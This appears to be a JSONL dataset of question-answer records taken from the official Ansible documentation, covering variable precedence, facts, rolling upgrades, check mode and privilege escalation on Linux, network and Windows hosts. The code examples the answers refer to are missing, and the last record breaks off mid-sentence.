{"id": "doc_5eb4474ad6b7", "question": "Defining variables in a play", "question_body": "", "answer": "You can define variables directly in a playbook play:\nWhen you define variables in a play, they are visible only to tasks executed in that play.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.317233"}
{"id": "doc_72fd8674693e", "question": "Defining variables in included files and roles", "question_body": "", "answer": "You can define variables in reusable variables files or in reusable roles. If you define variables in reusable variable files, the sensitive variables are separated from playbooks. This separation enables you to store your playbooks in a source control software and even share the playbooks, without the risk of exposing passwords or other sensitive and personal data. For information about creating reusable files and roles, seeReusing Ansible artifacts.\nThis example shows how you can include variables defined in an external file:\nThe contents of each variables file is a simple YAML dictionary. For example:\nYou can keep per-host and per-group variables in similar files. To learn about organizing your variables, seeOrganizing host and group variables.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.317338"}
{"id": "doc_7167f1c7b9c9", "question": "Defining variables at runtime", "question_body": "", "answer": "You can define variables when you run your playbook by passing variables at the command line using the--extra-vars(or-e) argument. You can also request user input with avars_prompt(seeInteractive input: prompts). If you pass variables at the command line, use a single quoted string that contains one or more variables in one of the formats below.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.317393"}
{"id": "doc_c49f17a15d60", "question": "Variable precedence: where should I put a variable?", "question_body": "", "answer": "You can set multiple variables with the same name in many different places. If you do this, Ansible loads every possible variable it finds, and then chooses the variable to apply based on variable precedence. In other words, the different variables will override each other in a certain order.\nTeams and projects that agree on guidelines for defining variables (where to define certain types of variables) usually avoid variable precedence concerns. You should define each variable in one place. Determine where to define a variable, and keep it simple. For examples, seeTips on where to set variables.\nSome behavioral parameters that you can set in variables you can also set in Ansible configuration, as command-line options, and using playbook keywords. For example, you can define the user that Ansible uses to connect to remote devices as a variable withansible_user, in a configuration file withDEFAULT_REMOTE_USER, as a command-line option with-u, and with the playbook keywordremote_user. If you define the same parameter in a variable and by another method, the variable overrides the other setting. This approach allows host-specific settings to override more general settings. For examples and more details on the precedence of these various settings, seeControlling how Ansible behaves: precedence rules.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.317463"}
{"id": "doc_ba8bba26e06a", "question": "Understanding variable precedence", "question_body": "", "answer": "Ansible does apply variable precedence, and you might have a use for it. Here is the order of precedence from least to greatest (the last listed variables override all other variables):\nIn general, Ansible gives precedence to variables that were defined more recently, more actively, and with more explicit scope. Variables in the defaults folder inside a role are easily overridden. Anything in the vars directory of the role overrides previous versions of that variable in the namespace. Host or inventory variables override role defaults, but explicit includes such as the vars directory or aninclude_varstask override inventory variables.\nAnsible merges different variables set in inventory so that more specific settings override more generic settings. For example,ansible_ssh_userspecified as a group_var is overridden byansible_userspecified as a host_var. For details about the precedence of variables set in inventory, seeHow variables are merged.\nFootnotes\nThe previous text describes the default confighash_behavior=replace. Switch tomergeto overwrite only partially.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.317546"}
{"id": "doc_fbfefe8ba66a", "question": "Tips on where to set variables", "question_body": "", "answer": "You should choose where to define a variable based on the kind of control you might want over values.\nSet variables in inventory that deal with geography or behavior. Since groups are frequently the entity that maps roles to hosts, you can often set variables on the group instead of defining them on a role. Remember that child groups override parent groups, and host variables override group variables. SeeDefining variables in inventoryfor details on setting host and group variables.\nSet common defaults in agroup_vars/allfile. SeeOrganizing host and group variablesfor details on how to organize host and group variables in your inventory. You generally place group variables alongside your inventory file, but they can also be returned by dynamic inventory (seeWorking with dynamic inventory) or defined in AWX or on theRed Hat Ansible Automation Platformfrom the UI or API:\nSet location-specific variables ingroup_vars/my_locationfiles. All groups are children of theallgroup, so variables set here override those set ingroup_vars/all:\nIf one host used a different NTP server, you could set that in a host_vars file, which would override the group variable:\nSet defaults in roles to avoid undefined-variable errors. If you share your roles, other users can rely on the reasonable defaults you added in theroles/x/defaults/main.ymlfile, or they can easily override those values in inventory or at the command line. SeeRolesfor more info. For example:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.317642"}
{"id": "doc_3c40d4f548f0", "question": "Using advanced variable syntax", "question_body": "", "answer": "For information about advanced YAML syntax used to declare variables and have more control over the data placed in YAML files used by Ansible, seeAdvanced playbook syntax.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.74, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html", "collected_at": "2026-01-17T09:15:52.317751"}
{"id": "doc_00f4a569c09b", "question": "Package requirements for fact gathering", "question_body": "", "answer": "On some distros, you may see missing fact values or facts set to default values because the packages that support gathering those facts are not installed by default. You can install the necessary packages on your remote hosts using the OS package manager. Known dependencies include:\nLinux Network fact gathering -  Depends on  theipbinary, commonly included in theiproute2package.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_vars_facts.html", "collected_at": "2026-01-17T09:15:54.374578"}
{"id": "doc_236f4759a97d", "question": "Adding custom facts", "question_body": "", "answer": "The setup module in Ansible automatically discovers a standard set of facts about each host. If you want to add custom values to your facts, you can write a custom facts module, set temporary facts with aansible.builtin.set_facttask, or provide permanent custom facts using the facts.d directory.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_vars_facts.html", "collected_at": "2026-01-17T09:15:54.374631"}
{"id": "doc_b61e6e2a5c6d", "question": "Information about Ansible: magic variables", "question_body": "", "answer": "You can access information about Ansible operations, including the Python version being used, the hosts and groups in inventory, and the directories for playbooks and roles, using “magic” variables. Like connection variables, magic variables areSpecial Variables. Magic variable names are reserved - do not set variables with these names. The variableenvironmentis also reserved.\nThe most commonly used magic variables arehostvars,groups,group_names, andinventory_hostname. Withhostvars, you can access variables defined for any host in the play, at any point in a playbook. You can access Ansible facts using thehostvarsvariable too, but only after you have gathered (or cached) facts.  Note that variables defined at play objects are not defined for specific hosts and therefore are not mapped to hostvars.\nIf you want to configure your database server using the value of a ‘fact’ from another node, or the value of an inventory variable assigned to another node, you can usehostvarsin a template or on an action line:\nWithgroups, a list of all the groups (and hosts) in the inventory, you can enumerate all hosts within a group. For example:\nYou can usegroupsandhostvarstogether to find all the IP addresses in a group.\nYou can use this approach to point a frontend proxy server to all the hosts in your app servers group, to set up the correct firewall rules between servers, and so on. You must either cache facts or gather facts for those hosts before the task that fills out the template.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_vars_facts.html", "collected_at": "2026-01-17T09:15:54.374732"}
{"id": "doc_80c23f1883c7", "question": "What is continuous delivery?", "question_body": "", "answer": "Continuous delivery (CD) means frequently delivering updates to your software application.\nThe idea is that by updating more often, you do not have to wait for a specific timed period, and your organization\ngets better at the process of responding to change.\nSome Ansible users are deploying updates to their end users on an hourly or even more frequent basis – sometimes every time\nthere is an approved code change.  To achieve this, you need tools to be able to quickly apply those updates in a zero-downtime way.\nThis document describes in detail how to achieve this goal, using one of Ansible’s most complete example\nplaybooks as a template: lamp_haproxy. This example uses a lot of Ansible features: roles, templates,\nand group variables, and it also comes with an orchestration playbook that can do zero-downtime\nrolling upgrades of the web application stack.\nThe playbooks deploy Apache, PHP, MySQL, Nagios, and HAProxy to a CentOS-based set of servers.\nWe’re not going to cover how to run these playbooks here. Read the included README in the GitHub project along with the\nexample for that information. Instead, we’re going to take a close look at every part of the playbook and describe what it does.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/guide_rolling_upgrade.html", "collected_at": "2026-01-17T09:15:59.382740"}
{"id": "doc_75bf21dab3fe", "question": "Reusable content: roles", "question_body": "", "answer": "By now you should have a bit of understanding about roles and how they work in Ansible. Roles are a way to organize\ncontent: tasks, handlers, templates, and files, into reusable components.\nThis example has six roles:common,base-apache,db,haproxy,nagios, andweb. How you organize\nyour roles is up to you and your application, but most sites will have one or more common roles that are applied to\nall systems, and then a series of application-specific roles that install and configure particular parts of the site.\nRoles can have variables and dependencies, and you can pass in parameters to roles to modify their behavior.\nYou can read more about roles in theRolessection.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/guide_rolling_upgrade.html", "collected_at": "2026-01-17T09:15:59.382807"}
{"id": "doc_36c205a5b1e3", "question": "Configuration: group variables", "question_body": "", "answer": "Group variables are variables that are applied to groups of servers. They can be used in templates and in\nplaybooks to customize behavior and to provide easily-changed settings and parameters. They are stored in\na directory calledgroup_varsin the same location as your inventory.\nHere is lamp_haproxy’sgroup_vars/allfile. As you might expect, these variables are applied to all of the machines in your inventory:\nThis is a YAML file, and you can create lists and dictionaries for more complex variable structures.\nIn this case, we are just setting two variables, one for the port for the web server, and one for the\nNTP server that our machines should use for time synchronization.\nHere’s another group variables file. This isgroup_vars/dbserverswhich applies to the hosts in thedbserversgroup:\nIf you look in the example, there are group variables for thewebserversgroup and thelbserversgroup, similarly.\nThese variables are used in a variety of places. You can use them in playbooks, like this, inroles/db/tasks/main.yml:\nYou can also use these variables in templates, like this, inroles/common/templates/ntp.conf.j2:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/guide_rolling_upgrade.html", "collected_at": "2026-01-17T09:15:59.382905"}
{"id": "doc_464d3aaaca0e", "question": "The rolling upgrade", "question_body": "", "answer": "Now you have a fully-deployed site with web servers, a load balancer, and monitoring. How do you update it? This is where Ansible’s\norchestration features come into play. While some applications use the term ‘orchestration’ to mean basic ordering or command-blasting, Ansible\nrefers to orchestration as ‘conducting machines like an orchestra’, and has a pretty sophisticated engine for it.\nAnsible has the capability to do operations on multi-tier applications in a coordinated way, making it easy to orchestrate a sophisticated zero-downtime rolling upgrade of our web application. This is implemented in a separate playbook, calledrolling_update.yml.\nLooking at the playbook, you can see it is made up of two plays. The first play is very simple and looks like this:\nWhat’s going on here, and why are there no tasks? You might know that Ansible gathers “facts” from the servers before operating upon them. These facts are useful for all sorts of things: networking information, OS/distribution versions, and so on. In our case, we need to know something about all of the monitoring servers in our environment before we perform the update, so this simple play forces a fact-gathering step on our monitoring servers. You will see this pattern sometimes, and it is a useful trick to know.\nThe next part is the update play. The first part looks like this:\nThis is just a normal play definition, operating on thewebserversgroup. Theserialkeyword tells Ansible how many servers to operate on at once. If it is not specified, Ansible will parallelize these operations up to the default “forks” limit specified in the configuration file. But for a zero-downtime rolling upgrade, you may not want to operate on that many hosts at once. If you had just a handful of webservers, you may want to setserialto 1, for one host at a time. If you have 100, maybe you could setserialto 10, for ten at a time.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/guide_rolling_upgrade.html", "collected_at": "2026-01-17T09:15:59.382990"}
{"id": "doc_c772622c652f", "question": "Managing other load balancers", "question_body": "", "answer": "In this example, we use the simple HAProxy load balancer to front-end the web servers. It is easy to configure and easy to manage. As we have mentioned, Ansible has support for a variety of other load balancers like Citrix NetScaler, F5 BigIP, Amazon Elastic Load Balancers, and more.\nFor other load balancers, you may need to send shell commands to them (like we do for HAProxy above), or call an API, if your load balancer exposes one. For the load balancers for which Ansible has modules, you may want to run them as alocal_actionif they contact an API. You can read more about local actions in theControlling where tasks run: delegation and local actionssection.  Should you develop anything interesting for some hardware where there is not a module, it might make for a good contribution!", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/guide_rolling_upgrade.html", "collected_at": "2026-01-17T09:15:59.383033"}
{"id": "doc_49646da42743", "question": "Continuous delivery end-to-end", "question_body": "", "answer": "Now that you have an automated way to deploy updates to your application, how do you tie it all together? A lot of organizations use a continuous integration tool likeJenkinsorAtlassian Bambooto tie the development, test, release, and deploy steps together. You may also want to use a tool likeGerritto add a code review step to commits to either the application code itself, or to your Ansible playbooks, or both.\nDepending on your environment, you might be deploying continuously to a test environment, running an integration test battery against that environment, and then deploying automatically into production.  Or you could keep it simple and just use the rolling-update for on-demand deployment into test or production specifically.  This is all up to you.\nFor integration with Continuous Integration systems, you can easily trigger playbook runs using theansible-playbookcommand line tool, or, if you’re using AWX, thetower-clicommand or the built-in REST API.  (The tower-cli command ‘joblaunch’ will spawn a remote job over the REST API and is pretty slick).\nThis should give you a good idea of how to structure a multi-tier application with Ansible and orchestrate operations upon that app, with the eventual goal of continuous delivery to your customers. You could extend the idea of the rolling upgrade to several different parts of the app; maybe add front-end web servers along with application servers, or replace the SQL database with NoSQL database. Ansible gives you the capability to easily manage complicated environments and automate common operations.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/guide_rolling_upgrade.html", "collected_at": "2026-01-17T09:15:59.383102"}
{"id": "doc_658d5c2e5d86", "question": "Enforcing or preventing check mode on tasks", "question_body": "", "answer": "If you want certain tasks to run in check mode always, or never, regardless of whether you run the playbook with or without--check, you can add thecheck_modeoption to those tasks:\nFor example:\nRunning single tasks withcheck_mode:truecan be useful for testing Ansible modules, either to test the module itself or to test the conditions under which a module would make changes. You can register variables (seeConditionals) on these tasks for even more detail on the potential changes.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_checkmode.html", "collected_at": "2026-01-17T09:16:02.567242"}
{"id": "doc_f472a34d053c", "question": "Skipping tasks or ignoring errors in check mode", "question_body": "", "answer": "If you want to skip a task or ignore errors on a task when you run Ansible in check mode, you can use a boolean magic variableansible_check_mode, which is set toTruewhen Ansible runs in check mode. For example:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_checkmode.html", "collected_at": "2026-01-17T09:16:02.567302"}
{"id": "doc_437441c6e267", "question": "Enforcing or preventing diff mode on tasks", "question_body": "", "answer": "Because the--diffoption can reveal sensitive information, you can disable it for a task by specifyingdiff:false. For example:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_checkmode.html", "collected_at": "2026-01-17T09:16:02.567350"}
{"id": "doc_bf25b5e23701", "question": "Become connection variables", "question_body": "", "answer": "You can define differentbecomeoptions for each managed node or group. You can define these variables in inventory or use them as normal variables.\nFor example, if you want to run all tasks asrooton a server namedwebserver, but you can only connect as themanageruser, you could use an inventory entry like this:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html", "collected_at": "2026-01-17T09:16:04.118957"}
{"id": "doc_6e0ef0694c6e", "question": "Risks and limitations of become", "question_body": "", "answer": "Although privilege escalation is mostly intuitive, there are a few limitations\non how it works.  Users should be aware of these to avoid surprises.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html", "collected_at": "2026-01-17T09:16:04.119050"}
{"id": "doc_947f38419b33", "question": "Risks of becoming an unprivileged user", "question_body": "", "answer": "Ansible modules are executed on the remote machine by first substituting the\nparameters into the module file, then copying the file to the remote machine,\nand finally executing it there.\nEverything is fine if the module file is executed without usingbecome,\nwhen thebecome_useris root, or when the connection to the remote machine\nis made as root. In these cases, Ansible creates the module file with\npermissions that only allow reading by the user and root, or only allow reading\nby the unprivileged user being switched to.\nHowever, when both the connection user and thebecome_userare unprivileged,\nthe module file is written as the user that Ansible connects as (theremote_user), but the file needs to be readable by the user Ansible is set\ntobecome. The details of how Ansible solves this can vary based on the platform.\nHowever, on POSIX systems, Ansible solves this problem in the following way:\nFirst, ifsetfaclis installed and available in the remotePATH,\nand the temporary directory on the remote host is mounted with POSIX.1e\nfilesystem ACL support, Ansible will use POSIX ACLs to share the module file\nwith the second unprivileged user.\nNext, if POSIX ACLs arenotavailable orsetfaclcould not be\nrun, Ansible will attempt to change ownership of the module file usingchownfor systems that support doing so as an unprivileged user.\nNew in Ansible 2.11, at this point, Ansible will trychmod +awhich\nis a macOS-specific way of setting ACLs on files.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.94, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html", "collected_at": "2026-01-17T09:16:04.119133"}
{"id": "doc_f8fd8f3cec87", "question": "Not supported by all connection plugins", "question_body": "", "answer": "Privilege escalation methods must also be supported by the connection plugin\nused. Most connection plugins will warn if they do not support become. Some\nwill just ignore it as they always run as root (jail, chroot, and so on).", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html", "collected_at": "2026-01-17T09:16:04.119168"}
{"id": "doc_5d4b44c28fdb", "question": "Only one method may be enabled per host", "question_body": "", "answer": "Methods cannot be chained. You cannot usesudo/bin/su-to become a user,\nyou need to have privileges to run the command as that user in sudo or be able\ntosudirectly to it (the same forpbrun,pfexecor other supported methods).", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html", "collected_at": "2026-01-17T09:16:04.119204"}
{"id": "doc_a215997c1da0", "question": "Privilege escalation must be general", "question_body": "", "answer": "You cannot limit privilege escalation permissions to certain commands.\nAnsible does not always\nuse a specific command to do something but runs modules (code) from\na temporary file name which changes every time.  If you have ‘/sbin/service’\nor ‘/bin/chmod’ as the allowed commands this will fail with Ansible as those\npaths won’t match with the temporary file that Ansible creates to run the\nmodule. If you have security rules that constrain yoursudo/pbrun/doasenvironment\nto run specific command paths only, use Ansible from a special account that\ndoes not have this constraint, or use AWX or theRed Hat Ansible Automation Platformto manage indirect access to SSH credentials.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html", "collected_at": "2026-01-17T09:16:04.119246"}
{"id": "doc_cae4e3c5f32a", "question": "May not access environment variables populated by pamd_systemd", "question_body": "", "answer": "For most Linux distributions usingsystemdas their init, the default\nmethods used bybecomedo not open a new “session”, in the sense ofsystemd. Because thepam_systemdmodule will not fully initialize a new\nsession, you might have surprises compared to a normal session opened through\nssh: some environment variables set bypam_systemd, most notablyXDG_RUNTIME_DIR, are not populated for the new user and instead inherited\nor just emptied.\nThis might cause trouble when trying to invokesystemdcommands that depend onXDG_RUNTIME_DIRto access the bus:\nTo forcebecometo open a newsystemdsession that goes throughpam_systemd, you can usebecome_method:machinectl.\nFor more information, seethis systemd issue.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html", "collected_at": "2026-01-17T09:16:04.119317"}
{"id": "doc_302317a724e8", "question": "Resolving Temporary File Error Messages", "question_body": "", "answer": "Failed to set permissions on the temporary files Ansible needs to create when becoming an unprivileged user”This error can be resolved by installing the package that provides thesetfaclcommand. (This is frequently theaclpackage but check your OS documentation.)", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html", "collected_at": "2026-01-17T09:16:04.119354"}
{"id": "doc_45727ab9dc4e", "question": "Become and network automation", "question_body": "", "answer": "As of version 2.6, Ansible supportsbecomefor privilege escalation (enteringenablemode or privileged EXEC mode) on all Ansible-maintained network platforms that supportenablemode. Usingbecomereplaces theauthorizeandauth_passoptions in aproviderdictionary.\nYou must set the connection type to eitherconnection:ansible.netcommon.network_cliorconnection:ansible.netcommon.httpapito usebecomefor privilege escalation on network devices. Check thePlatform Optionsdocumentation for details.\nYou can use escalated privileges on only the specific tasks that need them, on an entire play, or on all plays. Addingbecome:trueandbecome_method:enableinstructs Ansible to enterenablemode before executing the task, play, or playbook where those parameters are set.\nIf you see this error message, the task that generated it requiresenablemode to succeed:\nTo setenablemode for a specific task, addbecomeat the task level:\nTo set enable mode for all tasks in a single play, addbecomeat the play level:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.94, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html", "collected_at": "2026-01-17T09:16:04.119457"}
{"id": "doc_b069537ed25c", "question": "Setting enable mode for all tasks", "question_body": "", "answer": "Often you wish for all tasks in all plays to run using privilege mode, which is best achieved by usinggroup_vars:\ngroup_vars/eos.yml", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html", "collected_at": "2026-01-17T09:16:04.119509"}
{"id": "doc_26a1b2dd20f0", "question": "authorize and auth_pass", "question_body": "", "answer": "Ansible still supportsenablemode withconnection:localfor legacy network playbooks. To enterenablemode withconnection:local, use the module optionsauthorizeandauth_pass:\nWe recommend updating your playbooks to usebecomefor network-deviceenablemode consistently. The use ofauthorizeandproviderdictionaries will be deprecated in the future. Check thePlatform Optionsdocumentation for details.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html", "collected_at": "2026-01-17T09:16:04.119564"}
{"id": "doc_9d7fdb1cf462", "question": "Administrative rights", "question_body": "", "answer": "Many tasks in Windows require administrative privileges to complete. When using\ntherunasbecome method, Ansible will attempt to run the module with the\nfull privileges that are available to the become user. If it fails to elevate\nthe user token, it will continue to use the limited token during execution.\nA user must have theSeDebugPrivilegeto run a become process with elevated\nprivileges. This privilege is assigned to Administrators by default. If the\ndebug privilege is not available, the become process will run with a limited\nset of privileges and groups.\nTo determine the type of token that Ansible was able to get, run the following\ntask:\nThe output will look something similar to the below:\nUnder thelabelkey, theaccount_nameentry determines whether the user\nhas Administrative rights. Here are the labels that can be returned and what\nthey represent:\nMedium: Ansible failed to get an elevated token and ran under a limited\ntoken. Only a subset of the privileges assigned to the user are available during\nthe module execution and the user does not have administrative rights.High: An elevated token was used and all the privileges assigned to the\nuser are available during the module execution.System: TheNTAUTHORITY\\Systemaccount is used and has the highest\nlevel of privileges available.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html", "collected_at": "2026-01-17T09:16:04.119654"}
{"id": "doc_c6c71826097e", "question": "Local service accounts", "question_body": "", "answer": "Prior to Ansible version 2.5,becomeonly worked on Windows with a local or domain\nuser account. Local service accounts likeSystemorNetworkServicecould not be used asbecome_userin these older versions. This restriction\nhas been lifted since the 2.5 release of Ansible. The three service accounts\nthat can be set underbecome_userare:\nSystemNetworkServiceLocalService\nBecause local service accounts do not have passwords, theansible_become_passwordparameter is not required and is ignored if\nspecified.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html", "collected_at": "2026-01-17T09:16:04.119707"}
{"id": "doc_e269b9fdf341", "question": "Become without setting a password", "question_body": "", "answer": "As of Ansible 2.8,becomecan be used to become a Windows local or domain account\nwithout requiring a password for that account. For this method to work, the\nfollowing requirements must be met:\nThe connection user has theSeDebugPrivilegeprivilege assignedThe connection user is part of theBUILTIN\\AdministratorsgroupThebecome_userhas either theSeBatchLogonRightorSeNetworkLogonRightuser right\nUsing become without a password is achieved in one of two different methods:\nDuplicating an existing logon session’s token if the account is already logged onUsing S4U to generate a logon token that is valid on the remote host only\nIn the first scenario, the become process is spawned from another logon of that\nuser account. This could be an existing RDP logon, console logon, but this is\nnot guaranteed to occur all the time. This is similar to theRunonlywhenuserisloggedonoption for a Scheduled Task.\nIn the case where another logon of the become account does not exist, S4U is\nused to create a new logon and run the module through that. This is similar to\ntheRunwhetheruserisloggedonornotwith theDonotstorepasswordoption for a Scheduled Task. In this scenario, the become process will not be\nable to access any network resources like a normal WinRM process.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.94, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html", "collected_at": "2026-01-17T09:16:04.119798"}
{"id": "doc_6fbe3762fe39", "question": "Accounts without a password", "question_body": "", "answer": "Ansible can be used to become a Windows account that does not have a password (like theGuestaccount). To become an account without a password, set up the\nvariables like normal but setansible_become_password:''.\nBefore become can work on an account like this, the local policyAccounts: Limit local account use of blank passwords to console logon onlymust be disabled. This can either be done through a Group Policy Object (GPO)\nor with this Ansible task:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html", "collected_at": "2026-01-17T09:16:04.119859"}
{"id": "doc_377dd3b35546", "question": "Become flags for Windows", "question_body": "", "answer": "Ansible 2.5 added thebecome_flagsparameter to therunasbecome method.\nThis parameter can be set using thebecome_flagstask directive or set in\nAnsible’s configuration usingansible_become_flags. The two valid values\nthat are initially supported for this parameter arelogon_typeandlogon_flags.\nThe keylogon_typesets the type of logon operation to perform. The value\ncan be set to one of the following:\ninteractive: The default logon type. The process will be run under a\ncontext that is the same as when running a process locally. This bypasses all\nWinRM restrictions and is the recommended method to use.batch: Runs the process under a batch context that is similar to a\nscheduled task with a password set. This should bypass most WinRM\nrestrictions and is useful if thebecome_useris not allowed to log on\ninteractively.new_credentials: Runs under the same credentials as the calling user, but\noutbound connections are run under the context of thebecome_userandbecome_password, similar torunas.exe/netonly. Thelogon_flagsflag should also be set tonetcredentials_only. Use this flag if\nthe process needs to access a network resource (like an SMB share) using a\ndifferent set of credentials.network: Runs the process under a network context without any cached\ncredentials. This results in the same type of logon session as running a\nnormal WinRM process without credential delegation and operates under the same\nrestrictions.network_cleartext: Like thenetworklogon type, but instead caches\nthe credentials so it can access network resources. This is the same type of\nlogon session as running a normal WinRM process with credential delegation.\nFor more information, seedwLogonType.\nThelogon_flagskey specifies how Windows will log the user on when creating\nthe new process. The value can be set to none or multiple of the following:\nwith_profile: The default logon flag set. The process will load 